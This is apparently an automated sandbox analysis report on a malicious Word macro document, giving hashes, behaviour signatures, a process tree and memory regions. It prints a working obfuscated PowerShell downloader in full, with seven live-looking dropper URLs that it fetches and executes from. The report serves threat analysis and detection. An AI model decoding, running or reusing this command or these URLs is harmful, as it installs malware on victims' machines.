Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    13-05-2024 15:30

General

  • Target

    402a20df5b4be893e2f95482834847ce_JaffaCakes118.doc

  • Size

    159KB

  • MD5

    402a20df5b4be893e2f95482834847ce

  • SHA1

    7f8452fa5d9ce93287769e53538a6153d4be36bd

  • SHA256

    a20952ba32a8defe9aa5b8d65bbd75159d27664ff2828c6bc84f47d69543c9f7

  • SHA512

    6eee71bba70e2b9427981da3d8850f21690b1a7e3e3801320eebca2d6bd187faf980352767afb857471fa78fb00464e85697a6e81af69aa79846ee3da34f2c4c

  • SSDEEP

    1536:+iaqasrdi1Ir77zOH98Wj2gpngx+a97xRiqLE8ct2PU7eXKSSxH5ppJxuFWJ:+0rfrzOH98ipgTkJxuFWJ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://77yxx.com/b5rh/bZxS/

exe.dropper

http://shahramookht.com/t1k12k7t/8jq/

exe.dropper

http://www.aciitaly.com/adminer-master/gkI/

exe.dropper

https://codelta.es/images/9S35FR/

exe.dropper

https://burstoutloud.com/PPL/Hf/

exe.dropper

https://targetin.com/Silder-1/naK/

exe.dropper

http://dbestfishing.com.sg/67s/wfe/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 13 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\402a20df5b4be893e2f95482834847ce_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABJADMAbAB1AGcAZwB2AD0AKAAnAEUAYgAnACsAKAAnAHUAJwArACcAXwBsAHMAJwApACsAJwB2ACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAEkAbABFAFwAVQBpAEgAaABhAF8AbABcAGYAcQBGAEsAYgBxADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAUgBJAHQAeQBgAFAAYABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAKAAnADIALAAgAHQAJwArACcAbAAnACsAJwBzADEAMQAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABGAF8AegB3AGYAcgBrACAAPQAgACgAKAAnAEgAJwArACcAcwByADcAdwAnACsAJwBtACcAKQArACcAaAAnACsAJwBkAHQAJwApADsAJABRAGQANABnAHkAMwBnAD0AKAAnAEgAbwAnACsAJwBnADEAJwArACgAJwAwAHYAJwArACcAeQAnACkAKQA7ACQAQgA1ADEANQB1ADAAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE8AJwArACcAZwBpAFUAaQAnACkAKwAoACcAaABoAGEAJwArACcAXwAnACkAKwAoACcAbAAnACsAJwBPAGcAaQAnACkAKwAoACcARgBxACcAKwAnAGYAawAnACsAJwBiAHEANABPACcAKQArACcAZwBpACcAKQAgAC0AcgBFAFAAbABhAGMAZQAgACgAJwBPACcAKwAnAGcAaQAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQARgBfAHoAdwBmAHIAawArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAQQBfAHEAbABiADEANgA9ACgAKAAnAFoAJwArACcAdABfADkAJwApACsAJwBrADAAJwArACcAdQAnACkAOwAkAFMANgBfAG4AbgA3AGEAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBMAGkARQBOAFQAOwAkAFQAeAAyADMAXwBhAGQAPQAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwA3ACcAKQArACcANwAnACsAKAAnAHkAJwArACcAeAB4ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAYgAnACkAKwAoACcANQByACcAKwAnAGgALwBiAFoAeABTACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AcwAnACkAKwAnAGgAYQAnACsAKAAnAGgAcgAnACsAJwBhAG0AbwBvACcAKwAnAGsAaAB0ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AdAAnACsAJwAxAGsAJwApACsAKAAnADEAMgBrACcAKwAnADcAJwApACsAJwB0AC8AJwArACgAJwA4ACcAKwAnAGoAcQAvACcAKQArACcAKgBoACcAKwAoACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHcAdwB3AC4AYQBjACcAKwAnAGkAJwArACcAaQAnACsAJwB0AGEAbAAnACkAKwAoACcAeQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwBlAHIALQBtAGEAcwAnACsAJwB0ACcAKQArACgAJwBlACcAKwAnAHIALwBnAGsAJwApACsAJwBJACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAnADoAJwArACgAJwAvAC8AYwAnACsAJwBvACcAKQArACgAJwBkAGUAbAB0ACcAKwAnAGEAJwApACsAJwAuACcAKwAoACcAZQAnACsAJwBzAC8AJwApACsAJwBpACcAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAOQBTADMANQAnACsAJwBGAFIAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwAHMAOgAvAC8AYgAnACsAJwB1AHIAJwArACcAcwAnACsAJwB0AG8AdQAnACkAKwAoACcAdAAnACsAJwBsAG8AdQBkACcAKwAnAC4AYwBvAG0ALwBQAFAATAAvAEgAZgAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwApACsAKAAnAC8ALwAnACsAJwB0AGEAJwApACsAKAAnAHIAZwAnACsAJwBlAHQAaQAnACsAJwBuAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AUwBpACcAKQArACgAJwBsAGQAZQByAC0AMQAvACcAKwAnAG4AYQAnACsAJwBLAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwBkACcAKwAnAGIAJwArACcAZQBzAHQAZgBpAHMAJwApACsAKAAnAGgAaQBuACcAKwAnAGcALgBjAG8AbQAnACsAJwAuACcAKwAnAHMAZwAnACkAKwAoACcALwA2ADcAJwArACcAcwAvAHcAJwApACsAKAAnAGYAZQAnACsAJwAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEANgB2AHIAXwBhAG8APQAoACgAJwBWACcAKwAnAHQAaABoACcAKQArACgAJwAyACcAKwAnAHYAdQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAdgB4AGkAZAA1AHQAIABpAG4AIAAkAFQAeAAyADMAXwBhAGQAKQB7AHQAcgB5AHsAJABTADYAXwBuAG4ANwBhAC4AIgBEAE8AVwBOAGAATABvAGEAYABkAEYASQBgAEwAZQAiACgAJABLAHYAeABpAGQANQB0ACwAIAAkAEIANQAxADUAdQAwAHIAKQA7ACQARgBpAG0AaQB5AGgAawA9ACgAKAAnAEcAdQAnACsAJwBoACcAKQArACgAJwBmACcAKwAnADQAagB0ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEIANQAxADUAdQAwAHIAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAyADYANgA1ADMAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQAQgA1ADEANQB1ADAAcgApADsAJABaAHoAZABhAGcAcABhAD0AKAAnAFIAJwArACgAJwBzACcAKwAnAHQAdAAnACkAKwAoACcAeQAnACsAJwB0AG8AJwApACkAOwBiAHIAZQBhAGsAOwAkAEMAegBjAHgAbQB1ADUAPQAoACgAJwBSACcAKwAnAGkAcAAnACkAKwAoACcANABqACcAKwAnADAAJwApACsAJwB1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBuADIANwBxADYAYgA9ACgAJwBJAHgAJwArACgAJwBfADEAMgBuACcAKwAnAHYAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2564

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      cb760c402bf71a872b62c791f9660b7a

      SHA1

      b5d5a09a20b2f97a5cc45e7e2c6ba36bb8c9b809

      SHA256

      964739e20130c8e12f363e27420b1bcce9af5266cc16d75b8c5b66fdeea299ec

      SHA512

      e35f49d43711ad57dffe98f1053c53beeb886d65eea1a04509399f2b05a80066ffe316a957f2157dc569f790b8dd728c0b533c238e1006df8db9644ef50adab8

    • memory/1992-12-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1992-6-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-7-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-10-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-8-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-9-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-21-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-11-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-20-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-19-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-18-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-17-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-16-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-15-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-14-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-13-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-0-0x000000002F7B1000-0x000000002F7B2000-memory.dmp

      Filesize

      4KB

    • memory/1992-22-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-2-0x0000000070C3D000-0x0000000070C48000-memory.dmp

      Filesize

      44KB

    • memory/1992-30-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-25-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-24-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-23-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-28-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-27-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-32-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-31-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-29-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-33-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-66-0x0000000070C3D000-0x0000000070C48000-memory.dmp

      Filesize

      44KB

    • memory/1992-26-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-45-0x0000000070C3D000-0x0000000070C48000-memory.dmp

      Filesize

      44KB

    • memory/1992-46-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-48-0x00000000005C0000-0x00000000006C0000-memory.dmp

      Filesize

      1024KB

    • memory/1992-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2564-40-0x0000000002910000-0x0000000002918000-memory.dmp

      Filesize

      32KB

    • memory/2564-39-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

      Filesize

      2.9MB